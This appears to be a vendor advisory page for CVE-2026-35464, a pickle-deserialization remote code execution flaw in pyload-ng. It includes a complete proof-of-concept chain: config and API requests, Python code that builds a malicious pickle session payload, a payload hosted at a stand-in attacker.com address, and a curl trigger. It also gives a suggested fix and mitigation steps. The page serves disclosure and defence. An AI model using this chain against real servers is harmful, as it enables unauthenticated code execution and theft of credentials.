Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-35464 pyload-ng

HIGHFix: pyload/pyload@c4cf995

CVE-2026-35464 is a high-severity (CVSS 7.5) Deserialization of Untrusted Data vulnerability in pyload-ng. No vendor fix is recorded yet; mitigation options are listed below.

pyLoad has an incomplete fix for CVE-2026-33509: unprotected storage_folder enables arbitrary file write to Flask session store and code execution

Also known asGHSA-4744-96p5-mp2jPYSEC-2026-2989
Published
Apr 7, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35464.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-35464 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.

Required Privileges

The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.

Root Cause

storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.

pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.

Proven RCE Chain

Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.

Step 1 — Change download directory to Flask session store:

POST /api/set_config_value
{"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}

The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.

Step 2 — Compute the target session filename:

md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c

Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.

Step 3 — Host and download the malicious pickle payload:

import pickle, os, struct
class RCE:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pyload-rce-success",))
session = {"_permanent": True, "rce": RCE()}
payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
# struct.pack("I", 0) = cachelib timeout header (0 = never expires)

Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:

POST /api/add_package
{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}

The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.

Step 4 — Trigger deserialization (unauthenticated):

curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"

The session cookie name is pyload_session_ + the configured port number (__init__.py:128).

Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.

Result:

$ docker exec pyload-poc cat /tmp/pyload-rce-success
uid=1000(abc) gid=1000(users) groups=1000(users)

Impact

A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:

  • Execute arbitrary commands with the privileges of the pyload process
  • Read environment variables (API keys, credentials)
  • Access the filesystem (download history, user database)
  • Pivot to other network resources

Suggested Fix

Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):

ADMIN_ONLY_OPTIONS = {
    ...
    ("general", "storage_folder"),  # ADDED: prevents session poisoning RCE
    ...
}

Also correct the existing wrong option names:

("webui", "ssl_certfile"),  # FIXED: was "ssl_cert" (dead code)
("webui", "ssl_keyfile"),   # FIXED: was "ssl_key" (dead code)

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of pyload-ng has shipped for CVE-2026-35464 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35464 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-35464. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie
O3 Security · Impact-Aware SCA

Is CVE-2026-35464 in your dependencies?

O3 Security finds CVE-2026-35464 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-35464: pyload-ng RCE (High 7.5) | O3 Security